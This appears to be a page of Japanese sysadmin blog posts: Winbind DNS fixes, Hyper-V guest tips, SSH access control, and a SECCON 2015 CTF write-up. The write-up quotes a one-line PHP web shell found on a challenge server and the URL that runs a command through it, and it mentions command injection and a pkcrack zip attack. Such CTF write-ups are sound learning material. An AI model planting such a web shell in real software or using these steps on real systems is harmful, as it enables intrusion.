WinbindでDNSの動的更新
過去の記事で疑問に思っていたことが解決しました。
症状
ドメインに参加したときに以下のようなエラーが出力されていた問題です。
$ sudo net ads join -U Administrator Enter Administrator's password: Using short domain name -- DOMAIN Joined 'client' to dns domain 'domain.local' No DNS domain configured for client. Unable to perform DNS Update. DNS update failed: NT_STATUS_INVALID_PARAMETER
ADのDNSが自動更新できない…みたいなエラーだと思います。
解決策
/etc/network/interfaces
のdns-search
を指定/etc/hosts
でドメインを明示
この2つを行えばうまくいきます。具体的には以下の通りです。
/etc/network/interfaces
auto eth0 iface eth0 inet static address 192.168.1.10 netmask 255.255.255.0 network 192.168.1.0 broadcast 192.168.1.255 gateway 192.168.1.254 # dns-* options are implemented by the resolvconf package, if installed dns-nameservers 192.168.1.1 dns-search domain.local # <- これ
/etc/hosts
127.0.0.1 localhost 192.168.1.10 client.domain.local client # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters
という感じに更新して、ドメインに参加するだけです。
$ sudo net ads join -U Administrator Enter Administrator's password: Using short domain name -- DOMAIN Joined 'client' to dns domain 'domain.local'
SECCON 2015 Online 参加しました
overflowというチームで学校の同級生であるkyontanと@hogextendと一緒に参加しました。結果は
147 1200 overflow
で147位でした。高校生2年生の時にも友達を誘って参加しましたが惨敗。今回も少し勉強したのですがあえなく惨敗しました。前回よりも解けただけ良しとしましょう…
前回よりも解けたのでWriteupのようなものも書けます!
Writeup
Start SECCON CTF (50)
簡単な換字式暗号と呼ばれるものでした。CTF=Pythonみたいなイメージがあるのでpythonで書いた気がするんですがどんなコード書いたか忘れました…
Unzip the file (100)
暗号化されたzipが渡されました。
$ unzip -l ./unzip Archive: ./unzip Length Date Time Name --------- ---------- ----- ---- 14182 2015-11-30 16:23 backnumber08.txt 12064 2015-11-30 16:22 backnumber09.txt 22560 2015-12-01 15:21 flag --------- ------- 48806 3 files
3つのファイルが入っていて明らかに flag
というファイルに目的のものが入ってそうでした。とりあえず調べてみると選択平文攻撃なるものが存在するようで…
Blog: 年越しCTF x86-64.jp大会 2014 を開催しました – x86-64.jp - くりす研
そこでGoogleで "backnumber08.txt"
と検索をかけるとあからさまにSECCONのメールマガジンのテキストがヒットしました。あとは pkcrack
でいけんべと思っていたらなかなか複号できませんでした。 jquery.jsを同じアーカイブ方式、同じファイルシステムでzip
と書いてあるのでWindowsとKaliのzip両方で試してもダメ。backnumber08と09で試してもダメ。もうわかんなかったのであらましをkyontanに話したらなんか解いてくれました。Macじゃないとだめだったんでしょうか?今度詳しく聞いてきます。
Connect the server (100)
telnetサーバーに接続する問題でした。適当に接続するとこんな感じに
$ nc login.pwn.seccon.jp 10000 CONNECT 300 Welcome to SECCON server. The server is connected via slow dial-up connection. Please be patient, and do not brute-force. login: root Sorry, the account is unavailable. Good bye.
とりあえずパケットキャプチャを見てみようと思ったらいきなり答えがありました。
SECCON{Sometimes_what_you_see_is_NOT_what_you_get}
Command-Line Quiz (100)
telnetサーバーにログインすると6つのファイルがありまして、その問題を一つずつ解いていけばフラグを見れます。
$ cat *.txt cat: can't open 'flags.txt': Operation not permitted What command do you use when you want to read only top lines of a text file? Set your answer to environment variable named stage1 and execute a shell. $ stage1=$your_answer_here sh If your answer is what I meant, you will be able to access stage2.txt file. cat: can't open 'stage2.txt': Operation not permitted cat: can't open 'stage3.txt': Operation not permitted cat: can't open 'stage4.txt': Operation not permitted cat: can't open 'stage5.txt': Operation not permitted $ stage1=head sh $ cat *.txt cat: can't open 'flags.txt': Operation not permitted cat: can't open 'stage1.txt': Operation not permitted What command do you use when you want to read only bottom lines of a text file? Set your answer to environment variable named stage2 and execute a shell. $ stage2=$your_answer_here sh If your answer is what I meant, you will be able to access stage3.txt file. cat: can't open 'stage3.txt': Operation not permitted cat: can't open 'stage4.txt': Operation not permitted cat: can't open 'stage5.txt': Operation not permitted $ stage2=tail sh $ cat *.txt cat: can't open 'flags.txt': Operation not permitted cat: can't open 'stage1.txt': Operation not permitted cat: can't open 'stage2.txt': Operation not permitted What command do you use when you want to pick up lines that match specific patterns? Set your answer to environment variable named stage3 and execute a shell. $ stage3=$your_answer_here sh If your answer is what I meant, you will be able to access stage4.txt file. cat: can't open 'stage4.txt': Operation not permitted cat: can't open 'stage5.txt': Operation not permitted $ stage3=grep sh $ cat *.txt cat: can't open 'flags.txt': Operation not permitted cat: can't open 'stage1.txt': Operation not permitted cat: can't open 'stage2.txt': Operation not permitted cat: can't open 'stage3.txt': Operation not permitted What command do you use when you want to process a text file? Set your answer to environment variable named stage4 and execute a shell. $ stage4=$your_answer_here sh If your answer is what I meant, you will be able to access stage5.txt file. cat: can't open 'stage5.txt': Operation not permitted $ stage4=awk sh $ cat *.txt cat: can't open 'flags.txt': Operation not permitted cat: can't open 'stage1.txt': Operation not permitted cat: can't open 'stage2.txt': Operation not permitted cat: can't open 'stage3.txt': Operation not permitted cat: can't open 'stage4.txt': Operation not permitted OK. You reached the final stage. The flag word is in flags.txt file. flags.txt can be read by only one specific program which is available in this server. The program for reading flags.txt is one of commands you can use for processing a text file. Please find it. Good luck. ;-) $ sed -e "" ./flags.txt OK. You have read all .txt files. The flag word is shown below. SECCON{CaitSith@AQUA}
Entry form (100)
cgiで書かれたメールのエントリーフォームがありました。入力できるものはメールアドレスとユーザー名でsubmitすると登録確認メールを送りました的なページが表示されます。この問題は結構楽しかったです。(100点でしたが…)
まずルートにアクセスするとディレクトリの中の一覧を表示することができました。その中には実際に動いているcgiファイルのバックアップがあり、ソースコードを見ることができます。そこから log
というファイルの中にフラグが入っていることと、OSコマンドインジェクションを実行することができることが分かりました。しかし、 log
をOSコマンドインジェクションから表示できずパーミッションを見てみると cgi
ユーザーではアクセスできないことが分かりました。
Entry Form ./: total 1752 dr-xr-xr-x 2 root root 4096 Dec 1 21:52 SECRETS -r---w---- 1 apache cgi 1769873 Dec 5 21:43 log -r--r--r-- 1 root root 1132 May 15 2015 logo.png -r-xr-xr-x 1 cgi cgi 1631 Dec 5 20:32 register.cgi -r--r--r-- 1 root root 1583 Dec 1 22:25 register.cgi_bak Your entry was sent. Go Back
どうにか apache
ユーザーで見れないかなぁと思っていたら明らかに怪しい SECRETS/backdoor123.php
というファイルがありました。中には <pre><?php system($_GET['cmd']); ?></pre>
と書かれていたため、あとは SECRETS/backdoor123.php?cmd=cat+../log
にアクセスすればフラグがみれました。
自分がアクセスしたときには log
ファイルが膨れ上がっており、XSSも大量に埋め込んであったのが面白かったwww
あとはDecrypt itとかsteganoとかFind the prime numbersとかにちょっとずつ浮気しながら時間が終わりました。ここあやしいな…とか思うことはできるんですが答えまでなかなか行きつくことができません。kyontanは黙って問題を解き続けて最後にはちゃんとフラグを導き出せてるのがすごいですね。@hogextendがアナログにQRといてて最高に笑いましたwww
自分は全部低い点数の問題しか解けてないのが印象的でした。もっと基本的なところを勉強して問題を最後まで説き続ける根気が必要ですね。来年はもっと頑張りたいです。
2015/12/09 追記
チームメイトのkyontanもwriteupを書いてました。
あとpkcrackについてですが、原因が分かりました。
$ unzip -l ./unzip Archive: ./unzip.zip Length Date Time Name --------- ---------- ----- ---- 14182 2015-11-30 16:23 backnumber08.txt 12064 2015-11-30 16:22 backnumber09.txt 22560 2015-12-01 15:21 flag --------- ------- 48806 3 files $ ls -l ./backnumber08.txt* -rw-r--r-- 1 otter domain users 13944 12月 6 00:49 ./backnumber08.txt -rw-r--r-- 1 otter domain users 14182 10月 3 2014 ./backnumber08.txt.1
以上のように実際のファイルと操作していたファイルの容量が違っていたことが原因でした。自分は基本はWindowsで操作していて必要があるときにGitサーバーにアップロードしてから、Kaliで操作するようにしています。今回はその時に改行のCRLFが変更されたため複号ができなかったようです。気を付けないといけないですね。
Hyper-Vでプロミスキャスモード
Hyper-V上のLinuxの解像度を変更する
Hyper-VゲストにはVirtual Machine Connection
というアプリケーションでアクセスできますが、解像度は基本固定になっています。今回は変更する方法を紹介します。
環境
- Ubuntu Desktop 14.04 LTS 64bit
Kali Linux 2.0 64bit
- Windows 8.1 クライアントHyper-V
- Windows Server 2012 R2 Hyper-V
方法
grub
をいじって解像度を変更します。そのためディストリビューションによって方法が異なります。大分した、それぞれの紹介記事が以下のようになります。
Debian系: statemachine.hatenablog.com
今回はDebian系を説明します。
/etc/default/grub
のGRUB_CMDLINE_LINUX_DEFAULT=
の行を以下のように書き換えます。
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash video=hyperv_fb:1366x768"
- grubを更新し、再起動します
$ sudo update-grub $ sudo reboot now
環境として挙げた組み合わせではすべて確認しました。これで狭い解像度に悩まされずに作業ができますね。
sshのアクセスを制限する
sshはIPとログインユーザーによって制限をかけることができます。pamを使ってやります。
6.1. pam_access - logdaemon style login access control
といっても、以上の2つのサイトに書かれていることをやれば間違いないでしょう。/etc/security/access.conf
の構文はそのファイル自身に書いてある説明が一番わかりやすいと思います。要約だけ。
信頼関係とGPO
信頼関係を結んでいるリソースに適用されるGPOの関係です。以下のサイトがよくまとまっているので読んでみてください。
[AD] 信頼関係とフォレスト間のGPO適用について | インフラSEの運用・構築メモ
要約すると、
- デフォルトではリソースの所属しているドメインのコンピュータポリシーとユーザーポリシーが適用される
- 「フォレスト間のユーザー ポリシーおよび移動ユーザー プロファイルを許可する」を有効化するとユーザーが所属しているドメインのユーザーポリシーが適用される
という感じです。
Hyper-Vの第2世代
今更感がありますがWindows Server 2012 R2には第2世代という種類の仮想化ゲストが用意されています。いろいろ機能が拡張されていますが特にUEFIブートになったことが大きいです。自分が引っかかった第2世代に関することのまとめです。
Ubuntuのインストール
Ubuntuも第2世代にするといろいろな恩恵を受けられますがいくつか注意点があります。サポート情報などはMicrosoft Technetの以下のページを見るとよいでしょう。
Supported guest operating systems for Hyper-V virtual machines
Ubuntu virtual machines on Hyper-V
Secure Bootをオフにする
UEFIにはSecure BootというモードがありますがUbuntuは対応していません。ブートするにはオフにする必要があります。
Powershellにて以下のように入力するか、
Set-VMFirmware –VMName "VMname" -EnableSecureBoot Off
Hyper-V マネージャーの"設定"を開いてファームウェアの項目からセキュアブートを無効化します。
シャットダウンができない
Ubuntuをうまくシャットダウンできないことがありました。リブートも同様です。
- ゲスト側からシャットダウンするとシステムは落ちているのにホストは実行中の状態だと認識している。ホスト側からもう一度シャットダウンする必要がある。
- ホスト側からシャットダウンするとシステムは落ちているのにホストが認識せずに5分間待たされる。もう一度ホスト側からシャットダウンする必要がある。
というような状態になっていました。Ubuntu 14.04.3 LTSになってからはちゃんとシャットダウンできているのでアップグレードするのがいいんじゃないでしょうか。原因はGRUBにあるようで以下のサイトには具体的な対処法が載っています。
山市良のえぬなんとかわーるど: Windows Server 2012 R2 Hyper-V and Ubuntu 14.04 LTS Guest
第1世代を第2世代に移行する
Windowsに限られますが第1世代の仮想化ゲストを第2世代に移行する方法があります。
- 仮想化ゲストのWinRM有効化します
- Windows Hyper-V generation 2 VM conversion utility (Convert-VMGeneration) sampleを仮想化ホストで実行します
やはり細かい設定などがあるようでクリーンインストールすることが推奨のようです。
動的メモリ
Ubuntuも対応している動的メモリですが注意が必要です。DBやWebフレームワークのようなメモリを大きく使うアプリケーションを動かしているサーバーには適していません。
自分はWSUSを動的メモリで運用していた時に同様にとても不安定になりました。使い分けが重要ですね。